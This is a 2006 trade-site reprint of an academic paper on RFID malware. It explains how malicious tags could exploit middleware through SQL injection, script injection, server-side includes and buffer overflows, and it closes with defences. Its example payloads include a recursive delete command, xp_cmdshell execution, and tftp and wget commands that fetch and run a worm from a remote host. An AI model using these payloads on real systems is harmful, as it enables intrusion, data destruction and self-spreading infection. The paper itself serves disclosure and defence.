The E-Business Executive Daily Search This topic only for GO March 19, 2006

E-Business Topic Centers: Procurement & Buy Side | Supply Chain Mgmt | Enterprise Technology | EAI & Web Services | Content Mgmt | CRM & Sell Side | Portals | BPM | Strategy

Line56 Home
Email Newsletters
News & Features
Topic Centers
News Index
E-Biz In Action
Viewpoints
E-Business Blogs
Case Studies
From The Editor
The E-Biz Ecosystem
e-Business Resources
Company Profiles
Research Library
Research Center
Technology Evaluation Center
E-Biz Top56 Archives
Reports Archive
Magazine Archives
e-Business Events
Events Calendar

Line56 Info
About Line56
How to Advertise
Getting Covered
Site Map
Contact Us

Email this article...
Print this article...
Reader Comments...
Link to this article...

E-Business News

The RFID Threat

There is a potential for RFID malware to cause havoc, say researchers; what you can do

by Rieback, Simpson, Crispo, Tanenbaum
Friday, March 17, 2006

TOP STORY

What follows is the text of a paper by Melanie Rieback, Patrick Simpson, Bruno Crispo, and Andrew Tanenbaum of the Department of Computer Science, Vrije Universiteit Amsterdam. The paper discusses a potential virus threat latent in radio frequency identification (RFID), along with possible solutions. This is a long paper; if you are most interested in how to defend against RFID malware, scroll to the very end. However, it would do you or your organization good to check out all of the information here. It could be of great benefit down the road. -- Editor

Introduction to RFID

Radio Frequency Identification (RFID) is the latest phase in the decades-old trend of the miniaturization of computers. RFID transponders are tiny resource-limited computers that do not have a battery that needs periodic replacement. RFID tags are inductively powered by their external reading devices, called RFID readers. Once the RFID tag is activated, the tag decodes the incoming query and produces an appropriate response by using the energy of the incoming radio wave to power the chip long enough to respond. RFID tags can do a limited amount of processing, and have a small amount (<1024 bits) of storage.

RFID tags are useful for a huge variety of applications. Some of these applications include: supply chain management, automated payment, physical access control, counterfeit prevention, airline baggage management, and smart homes and offices. RFID tags are also implanted in all kinds of personal and consumer goods, for example, passports, partially assembled cars, frozen dinners, ski-lift passes, clothing, EZ-Pass toll collection devices, and public transportation tickets. Implantable RFID tags for animals allow concerned owners to label their pets and livestock. Verichip Corp. has also created a slightly adapted implantable RFID chip, the size of a grain of rice, for use in humans. Since its introduction, the Verichip was approved by the U.S. Food and Drug Administration, and this tiny chip is currently deployed in both commercial and medical systems.

RFID Threats

Unfortunately, businesses and governments are not the only ones interested in RFID. Civil liberties groups, hackers and criminals are also keenly interested in this new development, albeit for very different reasons. Civil liberties groups are concerned about RFID technology being used to invade people's privacy; RFID tags enable unethical individuals to snoop on people and surreptitiously collect data on them without their approval or even knowledge. For example, RFID-enabled public transit tickets could allow public transit managers to compile a dossier listing all of a person's travels in the past year -- information which may be of interest to the police, divorce lawyers, and others.

However, privacy is not the focus of this [paper] and will not be discussed further below. On the other hand, we are intensely concerned about privacy in an RFID-enabled world and have built an entire sister website about a device we have constructed, called the RFID Guardian, which could potentially help people protect their privacy from RFID snooping in the future. Those interested in RFID and privacy might want to check it out at www.rfidguardian.org. The website even includes a video of the prototype RFID Guardian in action.

A completely different category of threats arises when hackers or criminals cause valid RFID tags to behave in unexpected (and generally malicious) ways. Typically, computer-bound or mobile RFID readers query RFID tags for their unique identifier or on-tag data, which often serves as a database key or launches some real-world activity. For example, when an RFID reader at a supermarket checkout counter reads the tag on a product, the software driving it could add the item scanned to the list of the customer's purchases, tallying up the total after all products have been scanned.

Here is where the trouble comes in. Up until now, everyone working on RFID technology has tacitly assumed that the mere act of scanning an RFID tag cannot modify back-end software, and certainly not in a malicious way. Unfortunately, they are wrong. In our research, we have discovered that if certain vulnerabilities exist in the RFID software, an RFID tag can be (intentionall) infected with a virus and this virus can infect the backend database used by the RFID software. From there it can be easily spread to other RFID tags. No one thought this possible until now. Later in this website we provide all the details on how to do this and how to defend against it in order to warn the designers of RFID systems not to deploy vulnerable systems.

While we have some hesitation in giving the "bad guys" precise information on how to infect RFID tags, it has been our experience that when talking to people in charge of RFID systems, they often dismiss security concerns as academic, unrealistic, and unworthy of spending any money on countering, as these threats are merely "theoretical." By making code for RFID "malware" publicly available, we hope to convince them that the problem is serious and had better be dealt with, and fast. It is a lot better to lock the barn door while the prize race horse is still inside than to deal with the consequences of not doing so afterwards.

Real-World Scenarios

To make clear what kinds of problems might arise from RFID hacking by amateurs or criminals, let us consider three possible and all-too-realistic scenarios.

A prankster goes to a supermarket that scans the purchases in its customers' shopping carts using the RFID chips affixed to the products instead of their bar codes. Many supermarkets have plans in this direction because RFID scans are faster (and in some cases can be done by the customers, eliminating the expense of having cashiers). The prankster selects, scans, and pays for a nice jar of chunk-style peanut butter that has an RFID tag attached to it. Upon getting it home, he removes or destroys the RFID tag. Then he takes a blank RFID tag he has purchased and writes a exploit on it using his home computer and commercially available equipment for writing RFID tags. He then attaches the infected tag to the jar of peanut butter, brings it back to the supermarket, heads directly for the checkout counter, and pays for it again. Unfortunately, this time when the jar is scanned, the virus on its tag infects the supermarket's product database, potentially wreaking all kinds of havoc such as changing prices.

Emboldened by his success at the supermarket, the prankster decides to unwittingly enlist his cat in the fun. The cat has a subdermal pet ID tag, which the attacker rewrites with a virus using commercially available equipment. He then goes to a veterinarian (or the ASPCA), claims it is stray cat and asks for a cat scan. Bingo! The database is infected. Since the vet (or ASPCA) uses this database when creating tags for newly-tagged animals, these new tags can also be infected. When they are later scanned for whatever reason, that database is infected, and so on. Unlike a biological virus, which jumps from animal to animal, an RFID virus spread this way jumps from animal to database to animal. The same transmission mechanism that applies to pets also applies to RFID-tagged livestock.

Now we get to the scary part. Some airports are planning to expedite baggage handling by attaching RFID-augmented labels to the suitcases as they are checked in. This makes the labels easier to read at greater distances than the current bar-coded baggage labels. Now consider a malicious traveler who attaches a tiny RFID tag, pre-initialized with a virus, to a random person's suitcase before he checks it in. When the baggage-handling system's RFID reader scans the suitcase at a Y-junction in the conveyor-belt system to determine where to route it, the tag responds with the RFID virus, which could infect the airport's baggage database. Then, all RFID tags produced as new passengers check in later in the day may also be infected. If any of these infected bags transit a hub, they will be rescanned there, thus infecting a different airport. Within a day, hundreds of airport databases all over the world could be infected. Merely infecting other tags is the most benign case. An RFID virus could also carry a payload that did other damage to the database, for example, helping drug smugglers or terrorists hide their baggage from airline and government officials, or intentionally sending baggage destined for Alaska to Argentina to create chaos (e.g., as revenge for a recently fired airline employee).

Some companies with a vested interest in RFID technology have said their software can withstand attacks such as the ones we have proposed. We hope that is the case. These claims would be much more believable, however, if the companies made their software available to universities and other neutral parties for exhaustive testing, along with a large reward (say, $100,000) for the first person to construct a virus that successfully infects it. If no one is able to infect the software after, say 6 months, the claim that the software cannot be infected is a great deal stronger than merely stating it without proof. The nice part of this for the company is that if the software is bulletproof, it costs the company nothing.

RFID Middleware

The key technical question here is: How can one put an exploit or virus on a tiny batteryless tag with less than 1-KB of memory? On this page, we will explain the concept of RFID middleware and show the crucial role it plays in allowing (or preventing) RFID malware attacks. We will then give two examples of RFID middleware bugs that can allow attacks to happen as examples of how attacks work.

An RFID system consists of hardware, including RFID readers, and software. The software runs on ordinary PCs or servers and consists of middleware, which contains the logic of the RFID application, and a backend database system (e.g., Oracle, SQL Server, Postgres, MySQL) for storing information about the tags. Typically, the tags contain an identification number and possibly some item-specific information. For a supermarket application, the checkout scanner might simply read the ID number and look it up in the database to see how much the product costs. However, in an airport baggage application the system might write the passenger's ticket number and the final destination for the bag onto the tag at check-in time (because the next airport the bag visits may not have access to the originating airport's database). When the bag is later scanned, the middleware could then just ask it where it is supposed to go.

To boil our result down to a nutshell, infected tags can exploit vulnerabilities in the RFID middleware to infect the database. Once a virus, worm, or other malware has gotten into the database, subsequent tags written from the database may be infected, and the problem may spread.

As a first example, suppose the airport middleware has a template for queries that conceptually says:

"Look up the next flight to x"

where x is the airport code written on the tag when the bag was checked in. (To make these examples understandable for people who don't know SQL, we will not discuss actual SQL on this page; subsequent pages will give actual SQL examples.) In normal operation, the RFID middleware reads the tag in front of the reader and gets the built-in ID and some application-specific data. It then builds a query from it. If the tag responds with "LAX" the query would be:

"Look up the next flight to LAX"

It then sends this query to the database and gets the answer. Now suppose the bag has a bogus tag in addition to the real one and it contains "JFK; shutdown". Both tags will be seen and processed. When the bogus one is processed, the middleware will build this query:

"Look up the next flight to JFK; shutdown"

Unfortunately, the semicolon is a valid character in queries and separates commands. When given this query, the database might respond:

"AA178; database shutdown completed"

The result is that the attacker has shut down the system. Although this exploit is not a virus and does not spread, merely shutting down a major airport's baggage system for half an hour until the airport officials can figure out what happened and can restart the system might delay flights and badly disrupt air traffic worldwide due to late arrival of the incoming aircraft.

The countermeasure the RFID middleware should take to thwart this type of attack is to carefully check all input for validity. Of course, all software should always check all input for validity, but experience shows that programmers often forget to check. This attack is known as a SQL injection attack. Note that it used only 12 of the 114 bytes available on even the cheapest RFID tags. Some of the viruses use a more sophisticated form of SQL injection in which the command after the semicolon causes the database to be infected.

As a second example, suppose that the application uses 128-byte tags. Naturally, the programmer who wrote the application will allocate a 128-byte buffer to hold the tag's reply. However, suppose that the attacker uses a 512-byte bogus tag or an even larger one. Reading in this unexpectedly large tag may cause the data to overrun the middleware's buffer and even overwrite the current procedure's return address on the stack so that when it returns, it jumps into the tag's data, which could contain a carefully crafted executable program. Such an attack occurs often in the world of PC software where it is called a buffer overflow attack. To guard against it, the middleware should be prepared to handle arbitrarily large strings from the tag.

Thus to prevent RFID exploits, the middleware should be bug free and not allow SQL injection, buffer overflow, and similar attacks. Unfortunately, the history of software has shown that making any large and complex software system bug free is easier said than done. Thus although we have not listed any specific vulnerabilities...they probably exist although we have no proof at this time.

Classes of RFID Malware

Malware is short for malicious software, whose main purpose is to break into and disrupt computer systems. By extension, RFID malware is malware that is transmitted and executed via an RFID tag.

*What are RFID Exploits?

An RFID exploit is malicious RFID tag data that "exploits" some part of the RFID system that encounters it. RFID systems are susceptable to hacker attacks, just like conventional computing systems. When an RFID reader scans a tag, it expects to get back information in a certain format. However, a malicious person can write carefully crafted whose format and content is so unexpected that it can corrupt the RFID reader's software and potentially its database as well.

*What are RFID Worms?

An RFID worm is an RFID-based exploit that abuses a network connection to achieve self-replication. RFID worms may propagate by exploiting online RFID services, but can also spread via RFID tags. The RFID worm code causes unsuspecting RFID servers to download and execute some file from a remote location. This file then proceeds to compromise the RFID middleware server in the same fashion as most Internet-based malware. The worm infected RFID software can then "infect" new RFID tags by overwriting their data with a copy of the RFID worm code.

What are RFID Viruses?

An RFID virus is an RFID-based exploit that autonomously self-replicates its code to new RFID tags, without requiring a network connection. RFID viruses may or may not have a payload, which modifies or disrupts the workings of the back-end RFID system. Once the newly-infected RFID tags are sent on their way, they infect other RFID systems (assuming use of the same software system). These RFID systems then infect other RFID tags, which infect other RFID software systems, etc.

The Architecture of RFID Systems

Real-life RFID deployments employ a wide variety of physically distributed RFID readers, access gateways, management interfaces, and databases. The middleware receives events from the RFID readers when tags are scanned. These events are passed through a number of filters, which process the events in an application-specific manner. When an event has passed through all filters, it is dispatched to the components that have registered an interest in such events. Often, one of these components will store the event in a database, for further processing.

RFID readers are generally connected to the middleware using modular drivers, much like Windows uses device drivers to communicate with a graphics card. This allows different readers to be used with the middleware, without having to modify the middleware.

In addition to event-processing, the middleware handles different kinds of user interfaces. A user interfaces is generally provided for system-management purposes, for example to modify the series of filters through which an events is passed. There will also be user interfaces that allow regular users to access the system and use it. For example, in a supermarket distribution center, there will be a user interface that provides information on the current stock levels.

The middleware also communicates with other software systems, which implement the application's business logic. To stay with the supermarket example, it is likely that the supermarket RFID system is connected to a stock management system, which orders new stock from suppliers before it runs out.

*Test-Platform Architecture

To be able to test different kinds of exploits, we created a modular test platform, whose architecture is similar to that of a normal RFID middleware system.

We have used this platform to successfully attack multiple databases (MySQL, Postgres, Oracle, SQL Server). The RFID reader interface connects to a RFID reader, with tags. The tags are accessed using the API. The middleware connects to these databases, using the specified APIs:

MySQL C API
OCI 10.2.0
ISQL *Plus
Libpq API
SQL Distributed Management Objects

The management interface uses PHP and connects to the databases using standard APIs that are supplied with PHP.

Vulnerabilities

*Database Components

The database, or the middleware's handling of the database, is one of the areas where vulnerabilities may arise.

RFID middleware systems generally use a database to store information that is read from tags and written to them. If the middleware does not treat the data read from the tag correctly, it may be possible to trick the database into executing SQL code that is stored on the tag. This is known as SQL injection.

Normally, the tag's data should not be interpreted as code, but programming errors in the middleware may make it possible. If the middleware inserts the data in an SQL query, without escaping it properly, the data can modify the query. Usually, this involves including a quote in the data, which is interpreted by the SQL parser as ending a section of data and starting the next section of code. The data following the quote is then interpreted as code.

As an example, consider the following query:

```
INSERT INTO ContainerContents VALUES ('%id%', '%data%')
```

Query 1 - Unescaped query

where %id% is replaced with the tag's id and %data% is replaced with the tag's data.
If the tag's data contains the following:

```
Apples');
```

Exploit 1 - Simple SQL injection

any data following the semicolon will be interpreted as a new query.

*Web-Based Components

Many middleware systems use web-based components, for example to provide a user-interface, or to query databases in different parts of the world. These web-based components may also be vulnerable to attacks.

If a web browser is used to display that from tags - either directly or indirectly, through the database - it may be possible to abuse the dynamic features offered by modern browsers, by including Javascript code on the tag. An example Javascript command is shown in Exploit 2.

```
<script>document.location='http://ip/exploit.wmf';</script>
```

Exploit 2 - Using client-side scripting to exploit WMF-bug

This example redirects the browser to a WMF file, which could contain an exploit of the recently discovered WMF-bug.

Another way in which web-based components may be exploited, is through server-side includes (SSI). SSI is a technology that allows webpages to be generated on the fly, by executing commands on the webserver when a webpage is requested. By including SSI commands on a tag, it may be possible to trick the webserver into executing malicious code, using SSI's exec command, as in Exploit 3.

```
<!--#exec cmd="rm -R /"-->
```

Exploit 3 - SSI exec command

This example deletes all files on the harddisk.

*Glue Code

The code that ties the RFID reader interface to the middleware is likely to be written in a low-level language such as C or C++. Any code written in such a language may be vulnerable to buffer overflows.

It may seem counterintuitive that RFID tags with their limited memory could cause a buffer overflow, but this may still be possible if the middleware expects to read only small amounts of data. Most RFID tags include information on the amount of memory they contain. If the reader code uses this information to determine the amount of data to read, it may read more data than expected, causing its buffer to overflow. Simply using fixed-size tags is not enough to prevent buffer overflows, as attackers may introduce unauthorized tags.

An example overflow is shown in Exploit 4.

```
Offset/Hex/ASCII
00/7041 6C70 7365 2027 4857 5245 2045 6154/ Apples' WHERE Ta
10/6749 643D 2730 3132 3334 3536 3738 3941/gId='0123456789A
20/4243 4445 4627 00?? ???? ???? ???? ????/ BCDEF'.......... enough data to fill up buffer, 176
bytes in this case
E0/???? E0F4 1200 68EB F412 00E8 DD9E AC77/...............
F0/??73 6865 6C6C 2063 6F6D 6D61 6E64 7300/.shell commands
```

Exploit 4 - Executing shell commands using a buffer overflow

The first rows of the exploit contain a normal content string using SQL injection. Our buffer overflow takes place after the query is executed. It does not need to execute without errors, but this prevents an error being logged.

The actual exploit takes part in the last two rows, which are explained below.

Table 1 - Buffer overflow details

Offset	Hex	Description
E2	E0F4 1200	Return address. This is the current address + 4, as we want to jump into the stack. This returns to the code directly following the return address.
E6	68EB F412 00	Push 0x0012F4EB. This pushes the string starting at offset F1 onto the stack.
EB	E8 DD9E AC77	Call relative address 0x77AC9EDD, in this case the system function in msvcrt.dll, which implements the C-runtime. Note that it is not required that the middleware actually uses the system function. It is present as long as msvcrt.dll is loaded.
F0	??	The contents of this byte do not matter. It is required because the code is executed from the stack. This byte is overwritten when the system function is invoked, so it should not contain any useful data.
F1	shell commands\0	The string that is passed to the system function. This string may run up

to the end of the tag, as long as the 0-byte is present. After printf returns, this will also be interpreted as code, probably crashing the system.

If string-handling functions are used to copy the tag's data, it is impossible to include 0-bytes in the buffer overflow, which limits the scope of the attack. In this case, it is impossible to include addresses in the attack, which means that it is difficult to craft code that will run from the stack. On little-endian systems, it is still possible to do some damage, as the string's terminating 0-byte can be used to form a single address. This address can be used to jump to existing code, as in Exploit 5.

Apples' WHERE TagId='0123456789ABCDEF'-- ... \xF0\xB2\x40
Exploit 5 - Buffer overflow

In this example, a normal content string using SQL injection is used. This allows the database query to execute without errors, which is required in our case, since the buffer overflow takes place after a call to the database. After the content, the tag contains enough spaces to fill up the buffer, 174 in our case. This is followed by three bytes that form the return address. As the tag's data is treated as a string, a 0-byte will be placed after this string. Our test system is a little-endian system, so the return address will be 0x0040B2F0.

How to Write an RFID Virus

A virus performs two basic functions: it replicates itself and, optionally, it executes a payload. To replicate itself, the RFID virus uses the database. The details of replication depend on the database that is used, but broadly two classes of viruses can be distinguished: the one uses self-referential queries, the other uses quines. The payload the virus can execute depends both on the self-replication mechanism and the database that is targeted.

*Replication Using Self-Referential Queries

Database systems usually offer a way to obtain the currently running queries for system administration purposes. However, these functions return queries as an normal string, which makes it possible to store them in the database, thereby replicating the query.
We have developed two versions of the virus, one that is contained in a single query, and one the requires multiple queries. The virus using a single query requires less features from the database, but cannot carry SQL code as a payload. The virus using multiple queries requires a database that supports this, but it does allow SQL code as a payload.

*Replication Using Quines

A quine is a program that prints its own source code. By copying its own sourcecode into the database - from where it is later copied onto tags - the virus can replicate itself. Our quines require multiple queries, which means they are not supported on all databases. However, they do allow SQL code to be executed as a payload.

*Payloads

Depending on the type of virus and the database that are used, different kinds of payloads can be included. If a virus using multiple queries is used, SQL code can be executed on the database. Depending on the database permissions, this may allow the database to be deleted. If a web-based management interface is used, it may be possible to execute Javascript in the browser of a user of the management interface. In the worst case, it may be possible to execute shell commands on the webserver or database server. In this case, the damage is limited only by the permission with which these commands are executed.

How to Write an RFID Worm

A worm is a program that self-propagates across a network, exploiting security flaws in widely-used services. A worm is distinguishable from a virus in that a worm does not require any user activity to propagate. Worms usually have a payload, which performs activities ranging from deleting files, to sending information via email, to installing software patches. One of the most common payloads for a worm is to install a backdoor in the infected computer, which grants hackers easy return access to that computer system in the future.

An RFID worm propagates by exploiting security flaws in online RFID services. RFID worms do not necessarily require users to do anything (like scanning RFID tags) to propagate, although they will also happily spread via RFID tags, if given the opportunity.

*Propagation

RFID tags are generally too small to contain an entire worm. Therefore the tag will contain only enough of the worm to enable it to download the rest from a computer connected to the internet.

The RFID tag can either include binary code to download and execute the worm, or shell commands which do the same. Shell commands generally require less space than binary code and they are also more portable. However, some weaknesses may only allow binary code to be executed.

Worms may target any part of the RFID middleware to propagate. Some database systems provide SQL commands that execute shell commands on the database server. These commands can be abused to download and execute the worm. An example for SQL Server is shown in Example 1.

```
Apples'; EXEC Master..xp_cmdshell 'shell commands';--
```
Example 1 - Executing shell commands using SQL Server

The first part of the exploit (before the semicolon) performs SQL injection. It terminates the current query and starts a new query. The second part of the query uses SQL Server's xp_cmdshell stored procedure to execute shell commands. The final part of the query starts a SQL comment, which makes sure any remaining SQL inserted by the middleware is ignored, to prevent errors being logged.

An example of the shell commands that a worm would execute are shown in Example 2.

```
cd \Windows\Temp & tftp -i GET worm.exe & worm.exe
```
Example 2 - Downloading and executing a worm on Windows

These shell commands download the worm into the windows temporary directory using the tftp utility, which comes standard with windows. After the worm has been downloaded, it is executed.

Web-based components may also be susceptible. Server-side includes may allow shell commands to be executed, which can be abused to download and execute the worm in the same way.

When using SSI on Linux, the code to download and execute the worm might look like this:

```
<!--#exec cmd="wget http://ip/worm -O /tmp/worm; chmod +x /tmp/worm; /tmp/worm "-->
```
Example 3 - Downloading and executing a worm on Windows using SSI

These shell commands perform the same function as the previous windows example, in this case using the wget utility. Since Linux requires programs to have an executable flag set, an extra statement is included to enable this flag.

Any part of the middleware that is written in C or C++ may be susceptible to buffer overflows, which can be used to inject binary code that handles propagation. We have not developed a worm using buffer overflows, but the buffer overflow example that executes shell commands could be used to create a worm, by having it execute one of the previous shell commands.

How to Defend Against RFID Malware

RFID software designers can "armor" their systems against RFID Malware by taking the following steps.

*General Advice

Like other software systems, RFID middleware can benefit from code reviews, which may help find bugs the programmer overlooked.

Lock down user accounts. Privileges the middleware does not have cannot be abused. The same applies to database accounts.

Finally, disable or remove any features that are not required. They only provide further means of attack.

*Stopping Database Attacks

To avoid SQL injection, any data that is copied into a SQL statement should be checked and escaped using the functions the database API provides.

Better yet, don't copy data into SQL statements, but use prepared statements and parameter binding. When using parameter binding, the database treats parameters purely as data, which means they will never be interpreted as code. Prepared statements generally allow only a single SQL statement to be prepared per statement handle. This avoids a large number of SQL injection attacks, as it is not possible to start a second query.

Some databases provide features that limit the likelihood of an attack. For example, both Oracle and MySQL allow only a single query to be executed during an API call, though newer versions of MySQL allow the programmer to enable multiple queries.

Another feature that limits the likelihood of attacks is the way GetCurrentQuerys-style functionality is handled. MySQL and PostgreSQL make it practically impossible to abuse this functionality. MySQL has made a separate command for it, which cannot be included in a SQL query. PostgreSQL uses a reporting delay, which makes the behavior too erratic for a virus to spread.

*Stopping Web-Based Attacks

Client-side scripting can be prevented by properly escaping data inserted into HTML pages. Web-development languages usually provide functions that can do this for you. PHP can do this

automatically for every string using its 'magic quotes'. If the scripting language is not required, disabling it will avoid any chance of it being abused.
SSI injection can also by avoided using proper escaping. Or by disabling SSI.

*Stopping Glue-Code Attacks

Buffer overflows can be prevented by properly checking buffer bounds. There are also tools that can do this automatically, such as Valgrind and Electric Fence.

Of course, using a programming language that performs these checks automatically is even better. Java is an example of such a language.

More News

- Dun & Bradstreet Acquires Open

Ratings

- Accenture: U.S. IT Spending Increasing
- Chaotic Outsourcing
- Software for the Software Company
- Replacing the Sensitive PC

More News... Line56 Home...

SPONSORED LINKS:

Get metered mail by Pitney Bowes mailstation™ Try the 90-day free offer.

Interested in having a link to your website here? Click Here!

Home | e-Business News | email Newsletters
e-Biz in Action | e-Business Ecosystem | Viewpoints | From The Editor | Line56 Magazine Archives
Company Profiles | Research Reports | E-Business Top56 | Events Calendar
About Line56 | Advertise | Getting Covered | Report Problems | Contact Us